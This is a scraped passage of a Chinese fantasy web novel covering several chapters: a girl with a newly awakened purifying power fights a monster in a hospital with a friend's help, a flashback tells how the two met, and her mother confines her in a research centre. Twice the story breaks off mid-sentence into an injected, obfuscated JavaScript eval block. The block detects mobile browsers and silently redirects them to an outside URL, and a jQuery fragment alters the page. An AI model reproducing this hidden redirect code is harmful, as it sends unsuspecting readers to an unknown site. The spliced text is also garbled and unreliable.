就在那浊异人再度扑来之时,姜万岁猛然以大力将厕所门向后推开,同时自己则又向旁边闪避了一步。这回她的动作慢了,病号服右臂的袖子直接被浊异人撕下去一大块。“刺啦”一声,暴露在空气中的皮肤骤然感觉到了寒意。 此时姜万岁已管不了那么多,方才被她全力摔向后的厕所门又弹了回来,她眼疾手快一把拉住,同时用另一只手飞快给它上了锁。 直至听见微弱的“咔哒”声,姜万岁才终于吐出口气来。她紧忙又将锁孔中的钥匙拔出,可手上却越发失力。 危机暂时不太危机了,可在这样剧烈运动后的姜万岁觉得自己身上又开始虚脱冒汗,一直在紧张中支撑的心肺也有些泄力似的。她勉强拿着钥匙后退,给自己努力打着气,按着心口调整呼吸。姜万岁听着厕所中传来的撞击声,十分担心这一扇门恐怕也拦不了太久,又向门边的蓼满看去。 ——值得庆幸的是,这家伙确实没有在殴打空气了,现在她的攻击目标又加上了门后墙侧的那一排置物柜。“磅哧磅哧”下是一片木屑飞舞。 姜万岁目测了一番她那三百六十度无死角的攻击范围,当即取消了上前的想法。 先找找她给的那个什么“珠”吧!希望能真的有用……姜万岁现在心口发慌、四肢也快没力气了。 她回想着那珠子该是向后滚去,就急忙拖着身子转身寻找。可偏偏越着急越找不到,耳后那厕所门的击打声更是越来越大。 “姜万岁。” 突然一声,姜万岁被吓了一跳,她转过身,见到来人时却忍不住面露惊喜。 “娜索!” 门边正走进一个跟她差不多大的少年,不高不矮,不胖不瘦,从头到脚都穿的黑色,头发则是有些发白的银灰色。她长着一张轮廓分明的脸,高鼻深目,面上的神情则很是寡淡。在确认了朋友的身份后,她就向里走来。 娜索全名娜索·维一,正是姜万岁在东区认识到的朋友,原本她还想去医院看望娜索——这也是两人的约定,没想到这时候却是娜索先找了过来。 前几日,娜索因为过敏而住院了,这病倒也不难治,她是为了等待姜万岁才没有出院。后来她决定出去寻找,没想到却是在后方的“异能住院部”发现了姜万岁的气味。 娜索踏进病房时脚步顿了顿,这个房间中无论声音还是气味都有些混乱,不过她只认准自己的目标。 她看到姜万岁已经兴高采烈地向她招手,就加快脚步向她走去。 “——娜索!娜索你听得到吗?你先别过来啊啊啊!”姜万岁有些崩溃,在她见到娜索后的一切提醒都被对方忽视了。墙后有陷入幻觉的蓼满,厕所关着马上要破门而出的浊异人,这怎么想都不是能安然踏进来的区域啊……不对,娜索也中了那浊异人的异能力!该死的,它都被关起来了怎么还能发作? 姜万岁呼出一口气,想着娜索的攻击性肯定不强,就也驱步上前。可就在这时,厕所的门发出“轰隆”一声响,那只浊异人竟直接打碎了门从内蹿了出来。 “娜索!!” 娜索好悬没有经过蓼满的攻击区域,却已经走到了厕所附近。浊异人已经冲了出来,她却毫无所觉。而那浊异人碰到了拦路的,一把就将她拍开了。 “咚”的一声,娜索直接被拍到了墙上,可她却扶着墙很稳地站住了。紧接着她回过头来,鼻下缓缓淌出了一行鲜血。 鼻血被伸手抹去,娜索似乎皱了下眉,就在姜万岁心中发紧时,她却骤然转动脑袋,精准“望”向了她的方向。 转瞬间又是“砰”的一声,她竟然像个炮弹似的冲了过来,一下就将那只同时扑近的浊异人撞飞了。 姜万岁:“……诶?!” “姜万岁。”循着气味,娜索准确地来到了朋友身边。哪怕看不到、听不见,她仍然对自己的判断很有信心。 “娜索,你也太强了吧?!”姜万岁又惊又喜,知道她还在幻觉中,就直接拉住了她的手。而就在二人肌肤相触之时,娜索的睫毛微微颤了下,视野中的一切终于恢复了真实。 “姜万岁。”她回应着叫了一声,在姜万岁的称赞中垂了下眼睛,再多的话却说不出来。 “娜索!”姜万岁还想说什么,可看到她后方的浊异人再度要扑过来,便急忙拍她的手臂。娜索也同样察觉到了异动,她直接将姜万岁抱起,一跃又避开了浊异人的攻击。 “去蓝衣服那里!”姜万岁来了帮手,又想到了办法,“我们先躲到她后面。” 蓼满在打烂了柜子后,已经开始继续向内移动了,她身后的空间也越来越大。娜索立即行动,在视野清晰之后,她的动作相当灵活,几下绕开了蓼满的攻击,带着姜万岁站到了她的身后。 这下蓼满终于打到了真正的敌人,追击而来的浊异人一个没防备就被她一掌扇歪了。 “走吗?”娜索问,心想她其实跑得也很快。 “不,你帮我,我要解决它!”姜万岁坚定地摇头。她的视线还在向内搜寻,从这个方位视野中,姜万岁终于发现了蓼满口中的那颗黄澄澄的回源珠,原来它是滚到了床底。 “娜索,你再把我带进去!我要到床底下去!”姜万岁大喊,“我一定要干掉它!” 娜索点头,没有任何异议。然而这时,蓼满却也身形一晃,突然从两人前方移开了,浊异人的眼中和耳朵中涌出了越来越多的黑色粘稠物,看来它更改了针对蓼满的幻觉,竟然又将她引到了一边。 娜索再不迟疑,突然拧身向一侧闪去。她的动作太快,浊异人竟没能拦截成功,只能再度跟在了后面。娜索将姜万岁放在了室内唯一的病床边,回身就又向浊异人撞了过去。 又是“砰”的一声,可是这回那浊异人却只是后退了几步,它一把就将娜索挥开了。这时娜索的眼前、耳边又出现了幻觉,她晃了晃脑袋,决意只根据气味来定位对手。 娜索再度靠着墙稳住身形,蓼满的攻击却也正好在旁边,她急忙矮身闪避,脚步后蹬,又化身成了一个黑色炮弹向浊异人撞去。 姜万岁已经抓紧时间爬进了床底,她动作很快,一下便将那孤零零回源珠捞在了手里。也正是在她握住这珠子时,一股看不见摸不着的温暖的能量霎时便源源不断涌入了她的四肢百骸。姜万岁的心跳渐渐平静下来,她的喘息不再急促,周身也充满力量。 姜万岁甚至感觉到,有一股陌生而又极其熟悉的力量正在体内苏醒、涌动,渐渐汇集成了明快的河流。她就在这河流的响声中而感到快意与昂扬。 ——我又行了! 浊异人,受死吧!! 她兴冲冲斗志满满,一挺身,却不防先“咚”的一下自己撞上了床板。姜万岁抱住头,痛得眼角窜出了点泪花。 ——该死的床! “轰——” 陡然巨响之下,头上整个床板被撕碎掀飞了去。姜万岁转头,果然是那个浊异人又追了过来,娜索被它甩在后面,是让蓼满给拦住了。而它死死地“盯”着姜万岁,五官中都淌出了浊黑的液体。 姜万岁顾不得头痛,一扭身立刻站了起来,伸手就直接向扑食而来的它打去—— “给我退!!!” 耀眼的、盛大的白光乍然从她的掌心溢出,摧枯拉朽一般朝浊异人清缴而去,它的身影在光中开始扭曲变形,不消片刻,浊异人的身形便同室内的一切污浊一起都消失了一干二净。 “呼——” 姜万岁啪”的一下摔在了地上。她这次似乎没有力竭,只是意识开始变得恍惚,身体的各处角落都开始鼓胀出某种疼痛来。 “万岁!” 浊异人消失后,蓼满的幻觉也被解除了,她累得气喘吁吁,暂时先没管这个被自己拦下的陌生少年,而是急急地向姜万岁奔来。 她将手放到了姜万岁左手紧攥的回源珠之上,一股温和的光芒散发出来。蓼满查看着姜万岁的状态,将她揽进了怀里。 回源珠是由巫族嬅柚山晶制作成的,能够快速补充人体的异能量,对于经常作战的异能者来说是相当实用的宝物,而巫的能量则能让它把作用发挥到最大。但就因为它的作用太强,蓼满在赶来后才不敢贸然就给瞧着相当脆皮的救世之星使用,万一“虚不受补”,对于才初步觉醒异能的姜万岁来说那很可能有害无益。 蓼满原本是想等姜万岁的情况稳定一些再尝试着给她“补一补”,可没想到浊异人先来了,情况危急她也管不了那么多……好在现在看来,姜万岁的身体还没那么糟,到底撑住了。蓼满现在要引导着那股暴动的能量平稳、柔和下来,将它从姜万岁的体内抽回。 “哇”的 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蓼满还没来得及去查看那名受害医生的情况,但也能判断出对方的生命体征一切正常。蓼满需要尽快给姜万岁换个病房,以及联系人查清楚——明明是在戒备森严的医院,怎么浊生体竟然竟然能伪装成医生混进来? 蓼满将姜万岁先抱了起来,这时病房外急匆匆传来了一阵脚步声。姚锦在前,身后跟个数位神情戒备的异能者。她看到病房中的情形就是一愣,发现蓼满时才松了口气。 “你们来晚了,”蓼满叹了口气,“善后吧。” * “……她是外环部中心医院精神科的主治医师,现在已经清醒了过来,正在接受检查。她原本的异能力就是精神抚慰和知觉扭曲相关的能力,污浊侵袭后浊生体也继承了这部分的异能力并发挥到了极致——甚至把她这个宿主也蒙蔽了。她忘记了具体是在什么时候遇到了污浊,还以为是自己近期工作压力大造成的遗忘,每次‘看到’的体温计测量结果也还正常,于是今天也照常来了医院。浊生体对医院附近的护卫兵也施展了蒙蔽,我回来时才察觉到了不对……” 异能养护科某间病房外,姚锦正在给风尘仆仆赶来的晏徽年汇报调查的情况。隔着窗户,晏徽年将视线收回,低声说:“它为什么要混进医院?” “啊?”姚锦愣了一下,紧接着便反应过来了她的言外之意,思索着说,“浊生体侵染人类,甚至可以说是以人类为食。换句话说,只要是人类,就不会被它们无视。可这回医院里明明那么多人,精神科的治疗科室和异能住院部都不在一栋楼里,可它偏偏就来找到了万岁……还有上次那只浊异兽,它只是撞晕了那名环卫工,却并没有吃掉她……” “最大的可能是,”晏徽年又将视线投向了病床上的身影,“她对它们的吸引力远非常人可比。” 病房内,姜万岁正在输液,几名医护人员还在周围检查她的情况。她的脸陷在枕头中,看上去精神不太好,恹恹地垂着眼皮。 “是啊,也是在万岁来到东区之后,这里的污浊突然增多了。”姚锦恍然。 “救世之星与污浊是毕生之敌,”蓼满也在外面,满是惭愧地说,“这次是我太疏忽……” 作为巫,她的感知觉本就比平常人更敏锐,她也更依赖以它们达成与自然万物的沟通,没想到这回却正好被精神系异能蒙蔽了。大巫母指派她来完成这项任务,也是对她的历练,可这才一开始她竟然就险些让救世之星出了事…… 蓼满想到姜万岁额头上那个被砸出来的红印子,更惭愧了。 “如果不是你,情况只会更糟糕,”晏徽年一向情绪平稳,宽慰道,“是我们都疏忽了。” “现在不能再耽误了,”她又对姚锦说,“我们要尽快返回心城。” 心城是东区的核心,那里有更先进的异能研究与医疗中心,能够对姜万岁的异能和两个“净化物”进行更详细的研究。姜万岁还太过弱小,如果一直留在这里,不仅是她,整个外环部都会越来越危险。 “今晚,新一批异能军会抵达,”晏徽年显然做好了安排,“趁这段时间,你去准备几个小型的隔离罩。” “好的。”姚锦应下,她端详着晏徽年的神情,问道,“您要进去看一看吗?” 晏徽年没说话。这时,病房内的医生护士完成检查也要离开了。一个穿着黑衣服的少年就出现在姜万岁的病床边,她将一块叠得齐整的红围巾放到了她的枕旁,守着她坐了下来。 “那是谁?”晏徽年来得晚,没有和她碰过面。 “是万岁的朋友,”蓼满回想着姜万岁强撑着跟自己说明娜索身份时的倔强,没忍住笑了笑,“是她帮助万岁打败了浊异人。” 5. 关于住院的那回事 病房之中,姜万岁看着娜索走近,对她露出微笑来。 “谢谢你啊娜索,”她说,“还记得给我捡围巾……” 娜索摇了摇头,表示不用在意。她记得姜万岁说过这条围巾很重要,在床的碎屑中发现它时就顺便带了过来。现在娜索更关心姜万岁的身体,她询问:“你还好吗?” 姜万岁的目光在自己手上扎的针头扫过,她现在还脑袋疼,身体也动弹不了多少,当然算不上好。于是她短短地叹了口气,换了个话题说:“娜索,你怎么知道我在这里?你怎么找来的?” 娜索说:“我记得你的气味。” “什么……又是‘太阳的气味’吗?”姜万岁被这个说法逗乐了。 娜索见到姜万岁笑了,神态也放松了一些。她认真点头:“是的。你身上,有太阳的味道。” 这也是娜索和姜万岁初次见面时说过的话。 娜索要比姜万岁更早来到东区,也是被接纳的流民。她出生在一个寒冷的地方,也习惯忍受寒冷。娜索有能让皮肤坚硬起来的异能,这也是在寒冷中训练出的能力,除此之外,她的嗅觉分外敏锐,能闻到每个人身上不同的“味道”。 这种“味道”不是生理性的体味,而更像是人体内潜藏异能的某种征兆,每个人身上都不同。有的人身上的味道庞杂而强烈到像是燃烧的汽油,有的人却像白开水似的寡淡无味。娜索闻到过很多种不同的味道,唯独有一次,她闻到了太阳。 ——就是一个寒冷的鼻子没办法拒绝的暖阳的味道。 娜索想把它找出来。她已经习惯了寒冷,可太阳始终令人向往。 循着“味道”,娜索很擅长追踪,她几乎没费多少功夫就找到了那个似乎正在街上游荡的、穿着灰色衣服的人影。那就是太阳气味的来源,娜索立刻悄悄跟上了她。 她看起来跟娜索差不多大,不,应该要更小一点。她对街上的一切都很好奇,走走停停,时常会在一些店门外驻足观看,之后又飞快溜走。不一会儿,娜索便看着她经过了一个拐角,等她也跟上时,却发现拐角那边对方正抱着双臂、表情不善地等待着。 “你跟着我做什么?!”姜万岁板着脸,“你是小偷吗?想进局子吗?” 娜索有些无措、僵在了原地。她是寡言少语的性格,在紧张的情况下就更不容易开口。她的嘴巴张了张,始终没挤出声音来。 姜万岁见她不说话,又继续恫吓:“我现在就把你抓到局子里去!我妈是局长!” 这下娜索感到慌张了,她把学习到的东区安全守则记得很牢,绝对不想被抓进去。她也不想继续被人误会,于是就努力开口解释。 “我不是小偷,我闻到了你的味道,”她说,“太阳的味道。” “什么?”姜万岁听着莫名其妙,她下意识举起手臂来闻了闻自己的胳膊,没觉得有什么味道,又仰头看了看——今天还是很寻常的阴天,她忍不住质疑道,“你在耍我吗?” 娜索摇头,见她不信心中也着急,偏偏笨嘴拙舌之下想不到更好的借口,只能又恢复了沉默。她思索着,索性将一直被在身后的手拿了出来,原来她还拿着一块包装好的奶油蛋糕。 姜万岁一下就瞪圆了眼睛,她认出这是自己徘徊在店外时心动的甜品——因为从玻璃门的反光中看到有奇怪的家伙似乎在跟着,所以才暂时按下了念头。 娜索见她不说话,又将手里的东西向前递了递。 “给你。” 姜万岁的视线完全被吸引了,她下意识吞了下口水——这确实是她很想要的那块蛋糕啊,奶油裱花的,一看就很香甜、很好吃…… 从小到大,姜万岁一直都有很旺盛的食欲,她也热爱吃东西、尤其是甜食,但消化系统却负担不了太多。姜千遂不得不给她节制。现在好不容易出门,姜万岁就忍不住想放纵一回。 ——虽然这种小蛋糕看上去一定很贵,但她正好有一笔钱要花出去。 ——可恶,怎么会给别人买了呢?! “……干嘛给我?”姜万岁用尽全身的意志力才将目光收了回来,继续用冷酷无情的语气说。 “嗯……”娜索看了眼她又飞快将目光收回,“抱歉。” 姜万岁一边保持着犹疑,一边则磨磨蹭蹭地走近了。她昂着头打量着娜索,觉得她不像会耍诈的人——虽然是个少白头,但人看着还挺老实的。 娜索被她看着,只是垂着头将蛋糕往前递。 “这个东西不便宜吧?”姜万岁问。 “嗯,一百新币。”娜索回答。 一百新币……这里的馒头一新币能买到五个,姜万岁吃一个就顶饱。这确实不便宜。姜万岁想着,又问:“那你哪里来的钱?” “我到了这里之后在联盟会工作,每次完成任务,就有赏金。”娜索一板一眼地说着,又补充道,“我不是小偷。” 东区有几个私立的异能者联盟会,异能者在年满十七岁后就可凭资质申请加入,并接取联盟会中的任务以获得相应的报酬。娜索【识味追踪】的能力很实用,她经常能接到帮助居民找寻失物的任务。最近一次,她帮助一位老太太找到了那只忙于在外征服地盘的狸花猫。那是一只很叛逆的猫,娜索在抓住她时也费了不少功夫。后面失主为了补偿她的辛苦,特地多给了一倍的赏金。这些奖金再加上一些她之前攒的,正好够买下这一块奶油蛋糕。 “——你也是从外面来的?”姜万岁抓住了她话里的另一个信息,神态变得松动下来。因为她是受到了赶路的姨姨姐姐的帮助才顺利来到了这里,所以对于东区的“外来者”也容易心存好感。 “是……”娜索不明所以地点头。 于是姜万岁觉得已经完全没有理由再拒绝这块蛋糕了,她故作矜持,以某种生怕对方后悔的速度将蛋糕接了过来。 “看在你还算有诚意的份上,那我就收下这个赔礼了!”姜万岁很开心,想了想又问,“嗯……你在这里已经有了工作,那你对这里也很熟悉咯?” 娜索见她将蛋糕小心翼翼地捧在手里,自己心中也升起了一点小小的雀跃,这时就继续说:“是的,东区的很多地方我都跑过。” “……那我可以把蛋糕分给你一半,”姜万岁说,“你来当我的导游怎么样?” 姜万岁初来乍到,对东区的一切都既好奇又陌生。比起自己瞎逛,找个导游是让自己更快了解这里的选择。 “好的。”娜索应了下来,她也没细想为什么对方母亲是局长又需要“导游”。她顿了顿又说:“不用给我蛋糕。” 娜索对于甜食没有特别的热衷,她认为食物只要能填饱肚子就好。这么小的一块,全部给她都吃不饱。更何况它已经被送了出去。 姜万岁盯着她瞧了一会儿,在娜索紧张起来的时候突然笑了。 “可是你肚子叫了诶,”她挑眉说,“我给你的你也不吃?” 娜索下意识捂了捂自己的肚子,反应过来后才说:“没有叫……” 姜万岁已经转身走了。 娜索自觉跟了上去,后面也没能拒绝姜万岁递到手里的另一半蛋糕。两人找到了公园的一处长椅,坐在上面一起吃蛋糕。 “怎么样,很好吃吧?哼哼,我可是一眼就看中了!”姜万岁每当吃饭时就会变得开心,人在一开心起来就容易多话。而娜索是一个很好的听众。无论姜万岁叽里咕噜说起什么来,她都听得认真。 “……所以,我妈妈就从树上跳下来,一拳把狗熊打死了!” “你妈妈真厉害。”娜索由衷地赞叹。 姜万岁与有荣焉,高兴得两排大牙都露了出来。她给娜索讲起了自己母亲的经历——其实很大一部分是她从母亲的零星言语中推断出来的,姜千遂总是避免在女儿面前说起工作,但耐不住姜万岁的观察力和想象力强。姜万岁也对自己的推断深信不疑,在好不容易有个听众时讲起来也是绘声绘色的。现在发现娜索开始崇拜起了自己的母亲,那就更开心了。 虽然这人一开始奇奇怪怪的,但是相处下来感觉人还不错嘛。姜万岁心想。 一块蛋糕很快就被两人吃完了,姜万岁收拾着包装纸,状似用随意的口吻对娜索说:“喂,你要不要跟我当朋友?” 娜索愣了愣,立刻点头说:“要的。” 姜万岁挺起胸脯,彻彻底底地开心起来。这还是她交到的第一个朋友呢。 “那我们就是朋友啦!”姜万岁又拉着娜索站了起来,她兴高采烈地说,“现在轮到我请你了!蛋糕你根本没吃饱吧?现在我带你去吃大面包!我今天才发现的,那家店里新出的,是用店里新到的‘芒果’现烤出来的,闻着就很香,好多人都排队呢……” 娜索傻傻地被她拉着走,好一会儿才悄悄地抿唇露出了个笑,紧接着又听姜万岁回过头问:“娜索,你吃过芒果吗?” 娜索摇头。 东区内的物资虽然不匮乏,但也算不上丰富充盈,毕竟区外还有浊生体的存在,大门也是会定期闭锁的。区内最常见的水果是苹果和桃子,其它的则大多依靠于向外的采购和运输。就比如面包店中用到的芒果,店主声称是专门雇佣了异能者小队才从南部的无人区采摘而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实一开始是在骗你,我以为你是坏人,”她低声说,“不过我后来说的话可都是真的。” 娜索怔了怔,也同样拉住她的手,低声说:“好的。” “什么‘好的’?”姜万岁又有些想笑,她想到什么,突然问,“娜索,你的工作呢?会耽误吗?” 娜索想了想,摇头说:“不会耽误,想做就做。” “原来是这样啊,想做就做、想不做就不做,”姜万岁理解了她的意思,又问道,“娜索,这份工作,是异能力的工作吗?你的异能力是什么?娜索,你攻击浊异人的时候简直太强了!” 娜索垂下眼睛,耳垂有点泛红。她说:“是的。我有两个异能力,一个是【识味追踪】,能根据气味找到物体的位置;还有一个是【坚如磐石】,我可以把身体的皮肤变得向石头一样坚硬,当做武器进行撞击。我跑得也很快……” 说着,她将自己的袖子挽起,让姜万岁触摸自己发动了【坚如磐石】异能的肌肤。姜万岁好奇地碰了碰,那里果然是顽石一样坚硬的触感。 “太厉害了娜索!你也太强了”姜万岁大力称赞,“你是超女战士,是大英雌!认识你,我真是太有福气啦……” 娜索又越来越不好意思了,但还是静静地听着。等姜万岁终于把夸她的话都说完,娜索才闷着通红一片的脖颈,说道:“万岁,你的异能也很厉害。” “我也觉得,”姜万岁有点小骄傲,她想了想接着说,“你不知道,你见到的那个打空气拳的蓝衣服大姐姐……” 姜万岁将自己觉醒异能后经历的事都告诉了娜索,不过说了这会话大概已经耗光了她的精力,输液瓶里的药剂也开始发挥作用了。她强撑着睁着眼睛,说话的语速却越来越慢,最后终于陷进枕头里睡着了。 娜索于是把她的手也放进了被子里,又给她掖了掖被角,仍旧守在那里。 不知过了多久,病房中紧闭的门被推开了。娜索警觉,转头看去,发现是一个陌生的年长女子。 她看了对方一眼,又下意识去看姜万岁。 “我是她的母亲。”晏徽年迈步走到了床前,放轻了声音对她说,“你们关系很要好。” 娜索急忙也站了起来,鞠躬说:“您好,我是娜索·维一。” 她回忆起姜万岁对母亲的描述,其实是有点困惑的——她的鼻间辨认出的气味浅淡,说明这位阿姨很大可能是普通人。说强壮,她确实比万岁强壮,可阿姨真能打死一头熊吗? 娜索趁着抬头,又谨慎地看了晏徽年一眼,发现这时对方的视线已经停留在了病床上。晏徽年凝望着姜万岁的面颊,又很快地收回视线。 “娜索,我想跟你谈一下,”她说,“你方便吗?” 6. 母女间的走心交流 姜万岁睡了很长的一段时间。等她醒来后,才发现自己似乎换了个个新的地方。原本四周洁白的墙壁变成了天蓝色,病床也换成了一个带着透明玻璃罩的舱体,她似乎睡在一汪软乎而温暖的水里,头顶还有柔和的光持续照耀着。 “噌——”随着她起身,蛋壳一样的玻璃罩向两侧打开。姜万岁看到自己身上不知何时换成了一套蓝色便衣,原本的那身加上自己的围巾都被安置在了舱体一侧的篮子中。 她缓缓地眨了下眼,原本还觉得身体湿漉漉的,可甫一接触到空气,那些在体表的液体霎时便蒸发了干净。不仅如此,舱体内也瞬间干燥了起来。 她感到好奇,不禁伸手摸了摸,发现下面像是柔暖的海绵垫,半点也没有水分的踪迹。姜万岁收回手,环顾一番,发现房间里原来还有一个人。她坐在离舱体不远的沙发上,手上正拿着一叠文件阅读。 “这是研疗中心研发出的静息疗养仓,以疗养液辅助光波治疗,”晏徽年说,“对你的状况而言,它比静脉输液和回源珠更适合。” 姜万岁立刻将自己好奇的神情收了起来。她盯着晏徽年看了一会儿,连声问道:“现在是在哪里?娜索呢?你为什么在这里?” 晏徽年将手中的文件放下,她回答说:“现在是在心城的异能研疗中心,和外环部相比,这里更适合你恢复。” 姜万岁脸色大变,“噌”的一声就从床上跳下,她一把将自己的衣物全部抱起,大步向门口走去。 晏徽年看着她动作,一言不发。 姜万岁气势汹汹来到了门边,一拉门却拉不开。她又使劲活动了一番把手,还是打不开。 “医生建议你苏醒后继续休息三十六个小时。”晏徽年出声道。 姜万岁猛然转过身,瞪着她说:“我不要在这里!放我出去!” “你不要在这里,”晏徽年低声复述了一遍她的话,问道,“你想去找姜千遂?” 姜万岁神情中浮现惊诧,紧接着它又被恼怒和戒备覆盖。她喊道:“不用你管!你管不着!” 晏徽年没对这句话做出回应,她拿起了手边的一个遥控器。“滴”的一声,投屏被打开,原本湛蓝的墙体之上覆盖了一层黑幕,一段影像在上面播放。 画面中是大片浓黑而绵延不断的污浊,和其中数不尽数的浊生体,它们前扑后拥地挤在东区外的隔离罩之上,发出此起彼伏的嘶吼声。而在东区内,在外环部某条令姜万岁感到眼熟的街道上,也有接二连三的浊生体流窜,身穿军装的异能者则在前后围捕,力求将它们尽快剿灭。 “这就是现在浊生体爆发的现状,”晏徽年说着瞧了姜万岁一眼,“很危险。” 姜万岁立刻说:“我不怕危险!” “那么她呢?”晏徽年轻声问,“她怕不怕你危险?我换句话说,你怕不怕她危险?” 姜万岁没了声音。 晏徽年将她的表情尽收眼底,继续说:“你只要出去,就一定会遇到危险。这些怪物全部都是冲着你来的。” “什……” “仔细想想你遇到的那两个浊生体,”晏徽年说,“这种事一看就明白了。我想蓼满已经向你说过,你觉醒了一项绝无仅有的异能力,而它也对浊生体有着前所未有的吸引力。当然,这些还需要进一步的研究。但确定无疑的是,姜万岁,现在的你还没有足够的能力——甚至是自保的能力。” 姜万岁渐渐攥紧拳头,瞪着她没作声。 晏徽年也同样看着姜万岁说:“你现在出去,一定找不到她。哪怕运气顶天,在万万分之一的概率下你能和她相遇,伴随你们的也只是无穷无尽的危险。你愿意让亲人陷入危险吗?” “这不是一个好的选择,”晏徽年微微叹了口气,放缓了语气继续说,“在出发前我已经联系了治安局的相关部门,一旦发现姜千遂的消息立刻上报。而对你的建议,我希望你能尽快成长起来。” 她从口袋中拿出了一条项链,纯黑的丝绳上串着颗莹红色的珠子,闪耀着轻盈而细密的光纹。 “这是红珠屏障器,在外能一定程度上屏蔽并混淆你的异能波动,避免污浊找到你。” 姜万岁瞥了那项链一眼,冷着脸不为所动。 “你想不想知道娜索在哪里?”晏徽年又问。 姜万岁的脸上闪现惊疑,她瞪着晏徽年没说话。晏徽年微微一笑,向她示意手里的屏障器。 然而姜万岁将脸狠狠地又别了过去,同时脚底生根似的,依旧一动不动。 晏徽年望着她嘴角下垂、一副受了天大骫屈咽不下气的样子,又叹了口气,自己起身向姜万岁走了过来。 她在姜万岁身前站定,姜万岁仍旧昂着下巴不看她。晏徽年也不以为意,只伸手将屏障器向她头上套,姜万岁脖子一动立马躲开。晏徽年动作顿了下,换了方向继续套,姜万岁非常灵活再次躲开。 晏徽年淡淡瞧了她一秒,突然用一只手扶住姜万岁的头,另一手撑开屏障器飞速给她套了下去。 “——啊!”姜万岁大叫着跳开,一手扯住了屏障器立刻要拽下来,可那黑绳在下落后自动调整到了合适的长度,不会勒着她的脖子、也不会过于宽松。姜万岁使了老鼻子的劲儿都没能成功将它摘下来。 “你!!!”姜万岁气得咬牙切齿。 晏徽年这时已退了一步,她仍旧以平稳的语调说道:“等你做完全面的检查后,就会进入异能训练营学习,在那里你会学到更全面的关于异能的知识。” 发现姜万岁没有要回应的意思,晏徽年也不再多留。正好这时,不远处传来了一阵敲门声。 晏徽年上前几步,在把手轴端按下自己的指纹,随即“咔哒”一声,门就自动开了。 在门外的是姚锦,她看上去有急事要汇报:“首席,刚刚殷指挥长……” 她的话还没说完,就见正安然出现在门后的晏徽年的脸骤然向旁闪去,猝不及防发出了“砰”的一声,紧接着门被拉大,一个穿着病号服的影子猛然蹿了出来。 “——万岁?!” 姚锦也被撞了一下,呆了一秒才看出来那个影子就是还在养伤的姜万岁。她急忙追上前去,几下就将姜万岁按住了。因为这孩子挣扎得实在厉害,姚锦一咬牙,直接将她扛了起来向回走。 “万岁,你可不能出去啊……” “啊啊啊啊啊啊啊放开我!!!”姜万岁却发出了足以震天撼地的大叫,她在姚锦的肩上扑腾,“啊啊啊啊啊啊啊啊……人贩子!放开!!救命啊啊啊啊啊啊啊……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896369|176542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姚锦觉得自己的耳朵要被震麻了,眼神偶然一扫,发现走廊边还有人来看,她立刻加快了脚步。 在疗养室门口,晏徽年已经站了起来。她平素齐整而不见一丝褶皱的衣服有些凌乱,发丝也扫到了额前,手臂上还沾了泥土。在疗养室靠门的墙壁边一直放着几盆绿植,方才姜万岁的那一撞直接把她撞了进去。现在绿植已七零八落地倒在地上,晏徽年呼出一口气,缓缓伸手将自己头顶的一片叶子摘了下来。 “——晏徽年!我记住你了晏徽年!”这时被扛过来的姜万岁见了她还拧着身叫嚣,“你给我等着!晏徽年!晏徽年!!!” 姚锦看了眼晏首席的脸色,一时间只恨自己不能多长出只手来捂住她的嘴。 “……丢进去,”晏徽年平静地说,“不满三十六小时不许任何人探视。” 姚锦忙应下,也不敢真的丢。她快步将挣扎不止的姜万岁重新扛进室内,可一将她放下,姜万岁就不顾三七二十一向外冲,姚锦拦了好几回,最后实在没办法又将她扛了起来,终于采纳了晏徽年的建议,隔着一段距离把姜万岁准确投掷到了沙发上,随后火速关门退出。 直至门自动锁上她才松了一口气,伸手抹去了额间渗出的汗,心说:真想不到啊,晏首席这个喜欢看书喝茶的安静性子能生出来这么闹腾的…… 姜万岁现在还“体质虚弱”呢,她强壮起来后是什么样……姚锦都不敢想。 晏徽年已经皱眉将仪容重新整理了一番,见姚锦走近,便问道:“你刚刚要说什么?” 姚锦正色说:“刚刚殷指挥那边来了电话,她们过会儿也会到研疗中心来……说不定已经到了。” 姚锦心中猜测:殷指挥长必定也对万岁的净化异能感兴趣,她又向来和晏首席不和……这趟前来,恐怕有些不怀好意。 晏徽年略一挑眉,没多说什么,便迈步向外。姚锦则紧随其后。二人的身影很快就从走廊中消失。 而疗养室内,姜万岁在再三尝试发现仅凭自己出不去后,也终于力竭了。她拖着身体倒在沙发上,静静听着心脏的跳动声,等待着气力恢复。 过了好一会儿,她才动了动手指,伸手去摸自己的额头。没有汗水、也没有发烧……她长长吐出口气来,觉得自己的身体似乎比之前好了一点,以前她要这样早半路厥过去了。 姜万岁不经意间又蹭到了脖子里的珠子,一肚子邪火简直没处发——她现在实在没有那么多劲儿了。尽管如此,姜万岁还是再度努力而执着地拽住它扯了一会儿,不仅手动、身体也跟着,然后突然听见了“唰”的一下,像是纸张的声音。 姜万岁一下想起了晏徽年留下的文件。她最后扯了一下屏障器无果,索性翻过身来,果真发现了一沓纸。 姜万岁将这些纸拢到眼前,一看却愣住了,因为那文件的标题上写着:《卵子志愿捐赠者0689号姜千遂履历表》。 ——这是我妈的信息? 姜万岁打起精神来,正要仔细阅读,直觉却突然发出了一种危险的预警。她霎时觉得如芒在背,将文件收起后立刻从沙发上坐起,环顾四周之下,一切都是安安静静的,似乎并无异常。 可姜万岁还是觉得不对、很不对——直觉告诉她,有东西正在窥伺。 7.会见 果不其然,殷指挥长已经到了。晏徽年是在异能研疗中心的首层会议室中见到了她。 作为东区异能守护军的总指挥,殷正钰惯常穿着一套绛蓝色军装,她体格高大,面容肃穆,不苟言笑,但开口时的语调还算和气。 